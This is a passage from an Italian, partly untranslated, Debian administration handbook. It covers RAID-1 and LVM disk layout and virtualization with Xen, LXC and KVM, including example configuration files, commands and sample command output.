- Le partizioni sda5 e sdc5, così come sda6 e sdc6, sono assemblate in due nuovi volumi RAID-1 di circa 100 GB l'uno, md1 e md2. Entrambi questi mirror sono inizializzati come volumi fisici per LVM e assegnati al gruppo di volume vg_raid. Questo VG contiene circa 200 GB di spazio sicuro.

- Le rimanenti partizioni, sda7 e sdc7, sono usate direttamente come volumi fisici e assegnate a un altro VG chiamato vg_bulk, che quindi ha all'incirca 200 GB di spazio.

Una volta creati i VG, possono essere partizionati in modo molto flessibile. Bisogna ricordarsi che i LV creati in vg_raid saranno preservati anche in caso di guasto di uno dei dischi, cosa che non succede per i LV creati in vg_bulk; d'altro canto, quest'ultimo sarà allocato in parallelo su entrambi i dischi, il che consente velocità di lettura o scrittura maggiori per file grandi.

We will therefore create the lv_var and lv_home LVs on vg_raid, to host the matching filesystems; another large LV, lv_movies, will be used to host the definitive versions of movies after editing. The other VG will be split into a large lv_rushes, for data straight out of the digital video cameras, and a lv_tmp for temporary files. The location of the work area is a less straightforward choice to make: while good performance is needed for that volume, is it worth risking losing work if a disk fails during an editing session? Depending on the answer to that question, the relevant LV will be created on one VG or the other.

We now have both some redundancy for important data and much flexibility in how the available space is split across the applications.

NOTA Perché tre volumi RAID-1?

Si sarebbe potuto impostare un unico volume RAID-1 come volume fisico per vg_raid. Perché dunque crearne tre?

Il motivo della prima suddivisione (md0 separato dagli altri) è la sicurezza dei dati: i dati scritti su entrambi gli elementi di un mirror RAID-1 sono esattamente gli stessi ed è quindi possibile aggirare il livello RAID e montare uno dei dischi direttamente. In caso di un bug nel kernel, per esempio, o se i metadati LVM si rovinano, è comunque possibile avviare un sistema minimale per avere accesso ai dati critici come la struttura dei dischi nei volumi RAID e LVM; i metadati possono poi essere ricostruiti e i file resi di nuovo accessibili, cosicché il sistema può essere riportato al suo stato normale.

Il motivo della seconda suddivisione (md1 separato da md2) è meno evidente e più collegato all'accettazione del fatto che il futuro è incerto. Quando la postazione di lavoro viene assemblata all'inizio, i requisiti di spazio su disco non sono necessariamente noti con precisione assoluta; inoltre questi possono evolvere nel tempo. In questo caso, non si può conoscere in anticipo gli effettivi requisiti di spazio per gli spezzoni di video ed i video completi. Se un particolare video necessita di una grande quantità di spezzoni e il VG dedicato ai dati ridondanti è pieno per meno della metà, si può riutilizzare parte del suo spazio non usato. Si può rimuovere uno dei volumi fisici, ad esempio md2, da vg_raid e assegnarlo direttamente a vg_bulk (se la durata attesa dell'operazione è abbastanza breve da poter convivere con il temporaneo calo di prestazioni) o disfare l'impostazione RAID su md2 e integrare le sue componenti sda6 e sdc6 nel VG grande (che cresce di 200 GB invece di 100 GB); il volume logico lv_rushes può quindi essere allargato secondo necessità.

12.2. Virtualizzazione

La virtualizzazione è uno dei più grandi progressi dell'informatica negli ultimi anni. Il termine copre diverse astrazioni e tecniche per simulare macchine virtuali con grado variabile di indipendenza dall'effettivo hardware. Un server fisico può quindi ospitare diversi sistemi contemporaneamente in funzione e isolati fra loro. Le applicazioni sono molte e spesso derivano da questo isolamento; per esempio ambienti di prova con configurazioni variabili, oppure separazioni di servizi ospitati per ragioni di sicurezza su differenti macchine virtuali.

Ci sono numerose soluzioni di virtualizzazione, ciascuna coi suoi pro e contro. Questo libro si concentrerà su Xen, LXC e KVM, ma fra le altre implementazioni degne di nota vi sono le seguenti:

- QEMU is a software emulator for a full computer; performances are far from the speed one could achieve running natively, but this allows running unmodified or experimental operating systems on the emulated hardware. It also allows emulating a different hardware architecture: for instance, an amd64 system can emulate an arm computer. QEMU is free software.
→ https://www.qemu.org/

- Bochs è un'altra macchina virtuale libera, ma emula soltanto le architetture x86 (i386 e amd64).

- VMWare is a proprietary virtual machine; being one of the oldest out there, it is also one of the most widely-known. It works on principles similar to QEMU. VMWare proposes advanced features such as snapshotting a running virtual machine.
→ https://www.vmware.com/

- VirtualBox is a virtual machine that is mostly free software (some extra components are available under a proprietary license). Unfortunately it is in Debian's “contrib” section because it includes some precompiled files that cannot be rebuilt without a proprietary compiler and it currently only resides in Debian Unstable as Oracle's policies make it impossible to keep it secure in a Debian stable release (see #794466). While younger than VMWare and restricted to the i386 and amd64 architectures, it still includes some snapshotting and other interesting features.
→ https://www.virtualbox.org/

HARDWARE Virtualization support

Some computers might not have hardware virtualization support; when they do, it should be enabled in the BIOS.

To know if you have virtualization support enabled, you can check if the relevant flag is enabled with grep. If the following command for your processor returns some text, you already have virtualization support enabled:

- For Intel processors you can execute grep vmx /proc/cpuinfo

- For AMD processors you can execute grep svm /proc/cpuinfo

12.2.1. Xen

Xen è una situazione di «paravirtualizzazione». Introduce un sottile strato di astrazione, chiamato «ipervisore», fra l'hardware e i sistemi superiori; ciò agisce come un arbitro che controlla l'accesso all'hardware dalle macchine virtuali. Tuttavia, questo gestisce solo alcune delle istruzioni, mentre il resto è eseguito direttamente dall'hardware per conto dei sistemi. Il vantaggio principale è che non c'è degrado di prestazioni e i sistemi girano a una velocità prossima a quella nativa; il difetto è che i kernel dei sistemi operativi che si vogliono usare su un ipervisore Xen devono essere adattati per girare su Xen.

Let's spend some time on terms. The hypervisor is the lowest layer, which runs directly on the hardware, even below the kernel. This hypervisor can split the rest of the software across several domains, which can be seen as so many virtual machines. One of these domains (the first one that gets started) is known as dom0, and has a special role, since only this domain can control the hypervisor and the execution of other domains. These other domains are known as domU. In other words, and from a user point of view, the dom0 matches the “host” of other virtualization systems, while a domU can be seen as a “guest”.

CULTURA Xen e le varie versioni di Linux

Xen inizialmente fu sviluppato come un insieme di patch al di fuori dell'albero ufficiale e non integrate nel kernel Linux. Allo stesso tempo, diversi nuovi sistemi di virtualizzazione (incluso KVM) richiedevano alcune funzioni generiche relative alla virtualizzazione per facilitare la loro integrazione e il kernel Linux incluse queste funzioni (note come interfaccia paravirt_ops o pv_ops). Dal momento che le patch Xen duplicavano alcune delle funzionalità di questa interfaccia, non potevano essere accettate ufficialmente.

Xensource, the company behind Xen, therefore had to port Xen to this new framework, so that the Xen patches could be merged into the official Linux kernel. That meant a lot of code rewrite, and although Xensource soon had a working version based on the paravirt_ops interface, the patches were only progressively merged into the official kernel. The merge was completed in Linux 3.0.

→ https://wiki.xenproject.org/wiki/XenParavirtOps

Since Jessie is based on version 3.16 of the Linux kernel, the standard linux-image-686-pae and linux-image-amd64 packages include the necessary code, and the distribution-specific patching that was required for Squeeze and earlier versions of Debian is no more.

→ https://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

CULTURA Xen e kernel non Linux

Xen requires modifications to all the operating systems one wants to run on it; not all kernels have the same level of maturity in this regard. Many are fully-functional, both as dom0 and domU: Linux 3.0 and later, NetBSD 4.0 and later, and OpenSolaris. Others only work as a domU. You can check the status of each operating system in the Xen wiki:

→ https://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen

→ https://wiki.xenproject.org/wiki/DomU_Support_for_Xen

Tuttavia, se Xen può basarsi sulle funzioni hardware dedicate alla virtualizzazione (che sono presenti solo nei processori più recenti), anche sistemi operativi non modificati possono girare come domU (compreso Windows).

NOTA Architetture compatibili con Xen

Xen è attualmente disponibile solo per architetture i386, amd64, arm64 ed armhf.

L'uso di Xen sotto Debian richiede tre componenti:

- The hypervisor itself. According to the available hardware, the appropriate package will be either xen-hypervisor-4.11-amd64, xen-hypervisor-4.11-armhf, or xen-hypervisor-4.11-arm64.

- A kernel that runs on that hypervisor. Any kernel more recent than 3.0 will do, including the 4.19 version present in Buster.

- L'architettura i386 richiede inoltre una libreria standard con le patch appropriate che si appoggino a Xen; questa si trova nel pacchetto libc6-xen.

The hypervisor also brings xen-utils-4.11, which contains tools to control the hypervisor from the dom0. This in turn brings the appropriate standard library. During the installation of all that, configuration scripts also create a new entry in the GRUB bootloader menu, so as to start the chosen kernel in a Xen dom0. Note, however, that this entry is not usually set to be the first one in the list, but it will be selected by default.

Una volta installati questi prerequisiti, il passo successivo è collaudare il comportamento del dom0 da solo; questo richiede un riavvio per entrare nell'ipervisore e nel kernel Xen. Il sistema dovrebbe avviarsi nel modo consueto, mostrando alcuni messaggi in più nella console durante i primi passi dell'inizializzazione.

Ora è il momento di installare veramente dei sistemi utili sui sistemi domU, usando gli strumenti di xen-tools. Questo pacchetto fornisce il comando xen-create-image, che automatizza gran parte del compito. L'unico parametro obbligatorio è --hostname, che dà un nome al domU; altre opzioni sono importanti, ma possono essere memorizzate nel file di configurazione /etc/xen-tools/xen-tools.conf e la loro mancanza dalla riga di comando non genera un errore. Perciò è importante controllare i contenuti di questo file prima di creare delle immagini oppure, in alternativa, usare parametri aggiuntivi nell'esecuzione di xen-create-image. I parametri importanti includono:

- --memory, per specificare la quantità di RAM dedicata al sistema appena creato;

- --size e --swap, per definire la dimensione dei «dischi virtuali» disponibili al domU;

- --debootstrap-cmd, to specify the which debootstrap command is used. The default is debootstrap if debootstrap and cdebootstrap are installed. In that case, the --dist option will also most often be used (with a distribution name such as buster).
APPROFONDIMENTI Installare un sistema non Debian in un domU

In caso di un sistema non Linux, bisogna fare attenzione a definire il kernel che il domU deve usare, usando l'opzione --kernel.

- --dhcp dichiara che la configurazione di rete del domU deve essere ottenuta tramite DHCP mentre --ip permette di definire un indirizzo IP statico.

- Da ultimo, bisogna scegliere un metodo di memorizzazione per le immagini da creare (quelle che saranno viste come dischi fissi dal domU). Il metodo più semplice, che corrisponde all'opzione --dir, è di creare un file sul dom0 per ogni dispositivo da rendere disponibile al domU. Per i sistemi che usano LVM, l'alternativa è usare l'opzione --lvm, seguita dal nome di un gruppo di volume; quindi xen-create-image creerà un nuovo volume logico dentro quel gruppo e questo volume logico sarà reso disponibile al domU come disco fisso.
NOTA Memorizzazione nel domU

Oltre a partizioni, array RAID o volumi logici LVM preesistenti, anche interi dischi fissi possono essere esportati verso il domU. Queste operazioni non sono tuttavia automatizzate da xen-create-image, quindi è necessario modificare il file di configurazione dell'immagine Xen dopo la sua creazione iniziale con xen-create-image.

Una volta effettuate queste scelte, si può creare l'immagine per il futuro domU Xen:

# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=buster --role=udev

[...]

General Information

--------------------

Hostname       :  testxen

Distribution   :  buster

Mirror         :  http://deb.debian.org/debian

Partitions     :  swap            512M  (swap)

/               2G    (ext4)

Image type     :  sparse

Memory size    :  256M

Kernel path    :  /boot/vmlinuz-4.19.0-5-amd64

Initrd path    :  /boot/initrd.img-4.19.0-5-amd64

[...]

Logfile produced at:

/var/log/xen-tools/testxen.log

Installation Summary

---------------------

Hostname        :  testxen

Distribution    :  buster

MAC Address     :  00:16:3E:0C:74:2F

IP Address(es)  :  dynamic

SSH Fingerprint :  SHA256:PuAGX4/4S07Xzh1u0Cl2tL04EL5udf9ajvvbufBrfvU (DSA)

SSH Fingerprint :  SHA256:ajFTX54eakzolyzmZku/ihq/BK6KYsz5MewJ98BM5co (ECDSA)

SSH Fingerprint :  SHA256:/sFov86b+rD/bRSJoHKbiMqzGFiwgZulEwpzsiw6aSc (ED25519)

SSH Fingerprint :  SHA256:/NJg/CcoVj+OLE/cL3yyJINStnla7YkHKe3/xEdVGqc (RSA)

Root Password   :  EwmQMHtywY9zsRBpqQuxZTb

Adesso è stata creata una macchina virtuale, ma attualmente non è in esecuzione (e quindi occupa solo spazio sul disco fisso del dom0). Ovviamente si possono creare altre immagini, magari con parametri diversi.

Before turning these virtual machines on, we need to define how they'll be accessed. They can of course be considered as isolated machines, only accessed through their system console, but this rarely matches the usage pattern. Most of the time, a domU will be considered as a remote server, and accessed only through a network. However, it would be quite inconvenient to add a network card for each domU; which is why Xen allows creating virtual interfaces that each domain can see and use in a standard way. Note that these cards, even though they're virtual, will only be useful once connected to a network, even a virtual one. Xen has several network models for that:

- Il modello più semplice è il modello bridge; tutte le schede di rete eth0 (sia nel dom0 che nei sistemi domU) si comportano come se fossero direttamente inserite in uno switch Ethernet.

- C'è poi il modello routing, dove il dom0 si comporta come un router che sta fra i sistemi domU e la rete esterna (fisica).

- Infine, nel modello NAT, il dom0 è di nuovo fra i sistemi domU e il resto della rete, ma i sistemi domU non sono direttamente accessibili dall'esterno e il traffico passa attraverso alcune traduzioni degli indirizzi di rete sul dom0.

Queste tre modalità di rete comprendono alcune interfacce dai nomi insoliti, come vif*, veth*, peth* e xenbr0. L'ipervisore Xen le dispone in qualunque configurazione sia stata definita, sotto il controllo degli strumenti nello spazio utente. Poiché le modalità NAT e routing si adattano solo a casi particolari, qui si descriverà solo il modello di bridge.

The standard configuration of the Xen packages does not change the system-wide network configuration. However, the xend daemon is configured to integrate virtual network interfaces into any pre-existing network bridge (with xenbr0 taking precedence if several such bridges exist). We must therefore set up a bridge in /etc/network/interfaces (which requires installing the bridge-utils package, which is why the xen-utils-4.11 package recommends it) to replace the existing eth0 entry:

auto xenbr0

iface xenbr0 inet dhcp

bridge_ports eth0

bridge_maxwait 0

After rebooting to make sure the bridge is automatically created, we can now start the domU with the Xen control tools, in particular the xl command. This command allows different manipulations on the domains, including listing them and, starting/stopping them. You might need to increase the default memory by editing the variable memory from configuration file (in this case, /etc/xen/testxen.cfg). Here we have set it to 1024 (megabytes).

# xl list

Name                                        ID   Mem VCPUs State Time(s)

Domain-0                                     0  1894     2     r-----      63.5

# xl create /etc/xen/testxen.cfg

Parsing config from /etc/xen/testxen.cfg

# xl list

Name                                        ID   Mem VCPUs State Time(s)

Domain-0                                     0  1505     2     r-----     100.0

testxen                                     13  1024     0     --p---       0.0

STRUMENTO Scelta dei toolstack per gestire Xen VM

In De bian 7 e nelle versioni precedenti, xm è stato lo strumento da riga di comando di riferimento da utilizzare per gestire le macchine virtuali Xen. Ora è stato sostituito da xl che è per lo più compatibile. Ma questi non sono gli unici strumenti a disposizione: virsh di libvirt e xe di XAPI di XenServer (offerta commerciale di Xen) sono strumenti alternativi.

ATTENZIONE Solo un domU per immagine!

While it is of course possible to have several domU systems running in parallel, they will all need to use their own image, since each domU is made to believe it runs on its own hardware (apart from the small slice of the kernel that talks to the hypervisor). In particular, it isn't possible for two domU systems running simultaneously to share storage space. If the domU systems are not run at the same time, it is, however, quite possible to reuse a single swap partition, or the partition hosting the /home filesystem.

Notare che il domU testxen usa memoria fisica presa dalla RAM che altrimenti sarebbe disponibile per il dom0, non memoria simulata. Pertanto bisogna fare attenzione, quando si assembla un server che deve ospitare istanze di Xen, a fornire RAM fisica secondo le necessità.

Voilà! La macchina virtuale è partita. Vi si può accedere in uno dei due modi. Il modo consueto è di connettersi ad essa "in remoto" tramite la rete, come ci si connetterebbe a una macchina reale; questo di solito richiederà di impostare un server DHCP o qualche configurazione di DNS. L'altro modo, che potrebbe essere l'unico se la configurazione di rete era errata, è di usare la console hvc0, con il comando xl console:

# xl console testxen

[...]

Debian GNU/Linux 10 testxen hvc0

testxen login:

A questo punto si può aprire una sessione, proprio come si farebbe davanti alla tastiera della macchina virtuale. Lo scollegamento da questa console si ottiene con la combinazione di tasti Control+].

SUGGERIMENTO Arrivare subito alla console

Qualche volta si vuole avviare un sistema domU e arrivare subito alla sua console; per questo motivo il comando xl create accetta l'opzione -c. Avviando un domU con questa opzione verranno visualizzati tutti i messaggi durante l'avvio del sistema.

STRUMENTO OpenXenManager

OpenXenManager (nel pacchetto openxenmanager) è un'interfaccia grafica che permette il controllo remoto di domini Xen attraverso un'API di Xen. Fornisce la maggior parte delle funzionalità del comando xl.

Una volta che il domU è attivo, può essere usato come qualunque altro server (visto che dopo tutto è un sistema GNU/Linux). Tuttavia, il suo stato di macchina virtuale permette di sfruttare alcune funzionalità aggiuntive. Ad esempio, un domU può essere temporaneamente messo in pausa e poi fatto uscire dalla pausa con i comandi xl pause e xl unpause. Notare che, sebbene un domU in pausa non usi affatto il processore, la memoria ad esso allocata è ancora in uso. Può essere interessante considerare i comandi xl save e xl restore: salvare un domU libera le risorse precedentemente usate da questo domU, compresa la RAM. Al ripristino (o all'uscita dalla pausa, se è per quello) un domU non si accorge di alcunché al di là del passare del tempo. Se un domU era in esecuzione quando il dom0 viene spento, gli script nel pacchetto salvano automaticamente il domU e lo ripristinano all'avvio successivo. Questo ovviamente comporterà i consueti inconvenienti che si riscontrano quando si iberna un computer portatile, per esempio; in particolare, se il domU viene sospeso per troppo tempo, le connessioni di rete possono scadere. Notare inoltre che a tutt'oggi Xen è incompatibile con gran parte della gestione energetica ACPI, il che impedisce di sospendere il sistema host (dom0).

DOCUMENTAZIONE opzioni di xl

La maggior parte dei sottocomandi di xl richiedono uno o più argomenti, spesso il nome di un domU. Questi argomenti sono ben descritti nella magina di manuale xl(1).

Si può arrestare o riavviare un domU da dentro il domU (con il comando shutdown) o dal dom0, con xm shutdown o xl reboot.

APPROFONDIMENTI Xen avanzato

Xen has many more features than we can describe in these few paragraphs. In particular, the system is very dynamic, and many parameters for one domain (such as the amount of allocated memory, the visible hard drives, the behavior of the task scheduler, and so on) can be adjusted even when that domain is running. A domU can even be migrated across servers without being shut down, and without losing its network connections! For all these advanced aspects, the primary source of information is the official Xen documentation.

→ https://xenproject.org/help/documentation/

12.2.2. LXC

Anche se è usato per costruire "macchine virtuali", LXC non è, propriamente, un sistema di virtualizzazione, ma un sistema per isolare gruppi di processi l'uno dall'altro pur girando tutti sullo stesso host. Sfrutta alcune evoluzioni recenti nel kernel Linux, comunemente note come gruppi di controllo, con cui diversi insiemi di processi chiamati "gruppi" hanno visioni diverse di certi aspetti del sistema globale. Fra questi aspetti, i più importanti sono gli identificatori dei processi, la configurazione di rete e i punti di mount. Tale gruppo di processi isolati non avrà accesso agli altri processi nel sistema, ed i suoi accessi al file system possono essere ristretti a uno specifico sottoinsieme. Può anche avere la propria interfaccia di rete e la propria tabella di routing e può essere configurato per vedere solo un sottoinsieme dei dispositivi disponibili presenti sul sistema.

These features can be combined to isolate a whole process family starting from the init process, and the resulting set looks very much like a virtual machine. The official name for such a setup is a “container” (hence the LXC moniker: LinuX Containers), but a rather important difference with “real” virtual machines such as provided by Xen or KVM is that there is no second kernel; the container uses the very same kernel as the host system. This has both pros and cons: advantages include excellent performance due to the total lack of overhead, and the fact that the kernel has a global vision of all the processes running on the system, so the scheduling can be more efficient than it would be if two independent kernels were to schedule different task sets. Chief among the inconveniences is the impossibility to run a different kernel in a container (whether a different Linux version or a different operating system altogether).

NOTA Limiti di isolamento di LXC

I contenitori LXC non forniscono il livello di isolamento raggiunto da emulatori o virtualizzatori più pesanti. In particolare:

- poiché il kernel è condiviso fra il sistema host e i contenitori, i processi limitati ai contenitori possono ancora accedere ai messaggi del kernel, il che può portare a fughe di informazioni se i messaggi sono emessi da un contenitore;

- per ragioni simili, se un contenitore è compromesso e viene sfruttata una vulnerabilità del kernel, gli altri contenitori possono anch'essi esserne affetti;

- sul file system, il kernel controlla i permessi in base agli identificativi numerici per utenti e gruppi; questi identificativi possono designare utenti e gruppi diversi a seconda del contenitore, cosa di cui tener conto se si condividono parti scrivibili del file system fra i contenitori.

Poiché si parla di isolamento e non di virtualizzazione vera e propria, impostare i contenitori LXC è più complesso che far girare debian-installer su una macchina virtuale. Verranno descritti alcuni prerequisiti, e poi si passerà alla configurazione di rete; a questo punto si potrà effettivamente creare il sistema da far girare nel contenitore.

12.2.2.1. Passi preliminari

Il pacchetto lxc contiene gli strumenti necessari per far girare LXC e quindi deve essere installato.

LXC richiede anche il sistema di configurazione dei gruppi di controllo, che è un filesystem virtuale da montare su /sys/fs/cgroup. Dal momento che Debian 8 è passata a systemd, che si basa anche su gruppi di controllo, questo ora è fatto automaticamente al boot senza ulteriori configurazioni.

12.2.2.2. Configurazione di rete

The goal of installing LXC is to set up virtual machines; while we could, of course, keep them isolated from the network, and only communicate with them via the filesystem, most use cases involve giving at least minimal network access to the containers. In the typical case, each container will get a virtual network interface, connected to the real network through a bridge. This virtual interface can be plugged either directly onto the host's physical network interface (in which case the container is directly on the network), or onto another virtual interface defined on the host (and the host can then filter or route traffic). In both cases, the bridge-utils package will be required.

The simple case is just a matter of editing /etc/network/interfaces, moving the configuration for the physical interface (for instance, eth0) to a bridge interface (usually br0), and configuring the link between them. For instance, if the network interface configuration file initially contains entries such as the following:

auto eth0

iface eth0 inet dhcp

Devono essere disabilitate e sostituite con le seguenti:

#auto eth0

#iface eth0 inet dhcp

auto br0

iface br0 inet dhcp

bridge-ports eth0

L'effetto di questa configurazione sarà simile a ciò che si otterrebbe se i contenitori fossero macchine collegate alla stessa rete fisica dell'host. La configurazione «bridge» gestisce il transito dei frame Ethernet fra tutte le interfacce in bridge, il che include la eth0 fisica oltre alle interfacce definite per i contenitori.

In cases where this configuration cannot be used (for instance, if no public IP addresses can be assigned to the containers), a virtual tap interface will be created and connected to the bridge. The equivalent network topology then becomes that of a host with a second network card plugged into a separate switch, with the containers also plugged into that switch. The host must then act as a gateway for the containers if they are meant to communicate with the outside world.

Oltre a bridge-utils, questa configurazione «ricca» richiede il pacchetto vde2; il file /etc/network/interfaces allora diventa:

# Interface eth0 is unchanged

auto eth0

iface eth0 inet dhcp

# Virtual interface

auto tap0

iface tap0 inet manual

vde2-switch -t tap0

# Bridge for containers

auto br0

iface br0 inet static

bridge-ports tap0

address 10.0.0.1

netmask 255.255.255.0

La rete allora può essere impostata staticamente nei contenitori o dinamicamente con un server DHCP che gira sull'host. Tale server DHCP dovrà essere configurato per rispondere alle richieste sull'interfaccia br0.

12.2.2.3. Impostazione del sistema

Ora si imposta il file system che il contenitore dovrà usare. Poiché questa "macchina virtuale" non girerà direttamente sull'hardware, servono alcuni accorgimenti rispetto a un filesystem standard, in particolare riguardo al kernel, i dispositivi e le console. Per fortuna, lxc include degli script che automatizzano gran parte di questa configurazione. Per esempio, i seguenti comandi (che richiedono i pacchetti debootstrap e rsync) installeranno un contenitore Debian:

root@mirwiz:~# lxc-create -n testlxc -t debian

debootstrap is /usr/sbin/debootstrap

Checking cache download in /var/cache/lxc/debian/rootfs-stable-amd64 ...

Downloading debian minimal ...

I: Retrieving Release

I: Retrieving Release.gpg

[...]

Download complete.

Copying rootfs to /var/lib/lxc/testlxc/rootfs...

[...]

root@mirwiz:~#

Notare che il file system è creato all'inizio in /var/cache/lxc e poi spostato nella sua directory di destinazione. Ciò permette di creare contenitori identici molto più rapidamente, visto che a questo punto basta copiarli.

Note that the Debian template creation script accepts an --arch option to specify the architecture of the system to be installed and a --release option if you want to install something else than the current stable release of Debian. You can also set the MIRROR environment variable to point to a local Debian mirror.

Il filesystem appena creato contiene ora un sistema Debian minimale, e per impostazione predefinita il contenitore non ha alcuna interfaccia di rete (oltre il loopback uno). Poiché questo non è veramente voluto, è possibile modificare il file di configurazione del contenitore (/var/lib/lxc/testlxc/config) e aggiungere un paio di voci lxc.network.*:

lxc.net.0.type = veth

lxc.net.0.flags = up

lxc.net.0.link = br0

lxc.net.0.hwaddr = 4a:49:43:49:79:20

Queste voci vogliono dire, rispettivamente, che verrà creata un'interfaccia virtuale nel contenitore; che verrà automaticamente attivata quando il suddetto contenitore verrà avviato; che verrà automaticamente connessa al bridge br0 sull'host; e che il suo indirizzo MAC sarà quello specificato. Se l'ultima voce fosse assente o disabilitata, verrà generato un indirizzo MAC casuale.

Un'altra voce di utile in quel file è l'impostazione del nome host:

lxc.uts.name = testlxc

12.2.2.4. Avvio del contenitore

Now that our virtual machine image is ready, let's start the container with lxc-start --daemon --name=testlxc.

In LXC releases following 2.0.8, root passwords are not set by default. We can set one running lxc-attach -n testlxc passwd. Now we can login:

root@mirwiz:~# lxc-console -n testlxc

Debian GNU/Linux 9 testlxc console

testlxc login: root

Password:

Linux testlxc 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5 (2019-06-19) x86_64

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

root@testlxc:~# ps auxwf

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND

root         1  0.0  0.2  56736  6608 ?        Ss   09:28   0:00 /sbin/init

root        32  0.0  0.1  46096  4680 ?        Ss   09:28   0:00 /lib/systemd/systemd-journald

root        75  0.0  0.1  67068  3328 console  Ss   09:28   0:00 /bin/login --

root        82  0.0  0.1  19812  3664 console  S    09:30   0:00  \_ -bash

root        88  0.0  0.1  38308  3176 console  R+   09:31   0:00      \_ ps auxwf

root        76  0.0  0.1  69956  5636 ?        Ss   09:28   0:00 /usr/sbin/sshd -D

root@testlxc:~#

Ora ci si trova nel contenitore; l'accesso ai processi è ristretto solo a quelli avviati dal contenitore stesso e l'accesso al filesystem è analogamente ristretto al sottoinsieme dedicato del filesystem completo (/var/lib/lxc/testlxc/rootfs). Si può uscire dalla console con Control+a q.

Da notare che abbiamo avviato il contenitore come processo in background, grazie all'opzione --daemon di lxc-start. Si può interrompere il contenitore con un comando del tipo lxc-stop --name=testlxc.

Il pacchetto lxc contiene uno script di inizializzazione che può avviare automaticamente uno o più contenitori quando si avvia l'host (si basa su lxc-autostart che avvia i contenitori che hanno l'opzione lxc.start.auto impostata a 1). Un controllo più dettagliato dell'ordine di avvio è possibile con lxc.start.order e lxc.group: per impostazione predefinita, lo script di inizializzazione avvia prima i contenitori che fanno parte del gruppo onboot e poi i contenitori che non fanno parte di alcun gruppo. In entrambi i casi, l'ordine all'interno di un gruppo è definito dall'opzione lxc.start.order.

APPROFONDIMENTI Virtualizzazione di massa

Poiché LXC è un sistema di isolamento molto leggero, si può adattare in particolare all'hosting massiccio di server virtuali. La configurazione di rete probabilmente sarà un po' più avanzata di quella descritta sopra, ma la configurazione «ricca» che usa le interfacce tap e veth dovrebbe bastare in molti casi.

Può anche avere senso condividere parte del file system, come i sottoalberi /usr e /lib, così da evitare di duplicare software che dovrebbe essere in comune a diversi contenitori. Questo di solito si può fare aggiungendo delle voci lxc.mount.entry nei file di configurazione dei contenitori. Un effetto collaterale interessante è che in questo caso i processi useranno meno memoria fisica, dal momento che il kernel può rilevare che i programmi sono condivisi. Il costo marginale di un contenitore in più può quindi essere ridotto allo spazio su disco dedicato ai suoi dati specifici e alcuni processi aggiuntivi che il kernel deve ordinare e gestire.

Ovviamente non si sono descritte tutte le opzioni disponibili; informazioni più complete si possono ottenere dalle pagine di manuale lxc(7) e lxc.container.conf(5) e da quelle a cui esse puntano.

12.2.3. Virtualizzazione con KVM

KVM, che sta per Kernel-based Virtual Machine (Macchina Virtuale basata su Kernel), è prima di tutto un modulo del kernel che fornisce la maggior parte dell'infrastruttura che può essere usata da un virtualizzatore, ma di per sé non è un virtualizzatore. Il controllo effettivo della virtualizzazione è gestito da un'applicazione basata su QEMU. Non c'è da preoccuparsi se questa sezione menziona comandi qemu-*: si parla comunque di KVM.

Contrariamente ad altri sistemi di virtualizzazione, KVM è stato incluso nel kernel Linux fin dall'inizio.I suoi sviluppatori hanno scelto di sfruttare le istruzioni dei processori dedicate alla virtualizzazione (Intel-VT e AMD-V), cosa che mantiene KVM leggero, elegante e parco di risorse. Il rovescio della medaglia, ovviamente, è che KVM non funziona su tutti i computer ma solo su quelli con procesori adatti. Per i computer x86-based, è possibile verificare di avere un tale processore cercando vmx” o “svm” tra i flag della CPU elencati in /proc/cpuinfo.

Con il supporto attivo al suo sviluppo da parte di Red Hat, KVM sembra destinato a diventare il punto di riferimento per la virtualizzazione in Linux.

12.2.3.1. Passi preliminari

Contrariamente a strumenti come VirtualBox, KVM di per sé non include un'interfaccia utente per creare e gestire macchine virtuali. Il pacchetto qemu-kvm fornisce solo un eseguibile in grado di avviare una macchina virtuale, oltre a uno script di inizializzazione che carica i moduli appropriati del kernel.

Per fortuna, Red Hat fornisce anche un altro insieme di strumenti per affrontare questo problema, sviluppando la libreria libvirt e gli strumenti virtual machine manager associati. libvirt permette di gestire macchine virtuali in modo uniforme, indipendentemente dal sistema di virtualizzazione dietro le quinte (attualmente supporta QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare e UML). virtual-manager è un'interfaccia grafica che usa libvirt per creare e gestire macchine virtuali.

We first install the required packages, with apt-get install libvirt-clients libvirt-daemon-system qemu-kvm virtinst virt-manager virt-viewer. libvirt-daemon-system provides the libvirtd daemon, which allows (potentially remote) management of the virtual machines running of the host, and starts the required VMs when the host boots. libvirt-clients provides the virsh command-line tool, which allows controlling the libvirtd-managed machines.

Il pacchetto virtinst fornisce virt-install, che permette di creare macchine virtuali da riga di comando. Infine, virt-viewer permette di accedere alla console grafica di una VM.

12.2.3.2. Configurazione di rete

Proprio come in Xen e LXC, la configurazione di rete più frequente richiede un bridge che raggruppa le interfacce di rete delle macchine virtuali (vedere Sezione 12.2.2.2, «Configurazione di rete»).

In alternativa e nella configurazione predefinita fornita da KVM, alla macchina virtuale è assegnato un indirizzo privato (nell'intervallo 192.168.122.0/24) e viene impostato il NAT cosicché la VM possa accedere alla rete esterna.

Il resto di questa sezione assume che l'host abbia un'interfaccia fisica eth0 e un bridge br0 e che la prima sia connessa al secondo.

12.2.3.3. Installazione con virt-install

Creare una macchina virtuale è molto simile a installare un sistema normale, tranne che le caratteristiche della macchina virtuale sono descritte da una riga di comando che sembra infinita.

In pratica, questo vuol dire che si userà l'installer Debian, avviando la macchina virtuale su un lettore DVD-ROM virtuale che viene mappato su un'immagine DVD di Debian memorizzata sul sistema host. La VM esporterà la sua console grafica sul protocollo VNC (vedere Sezione 9.2.2, «Utilizzo di desktop remoti grafici» per i dettagli), il che consentirà di controllare il processo di installazione.

Prima bisogna dire a libvirtd dove memorizzare le immagini su disco, se non va bene la posizione predefinita (/var/lib/libvirt/images/).

root@mirwiz:~# mkdir /srv/kvm

root@mirwiz:~# virsh pool-create-as srv-kvm dir --target /srv/kvm

Pool srv-kvm created

root@mirwiz:~#

SUGGERIMENTO Aggiungi il tuo utente al gruppo libvirt

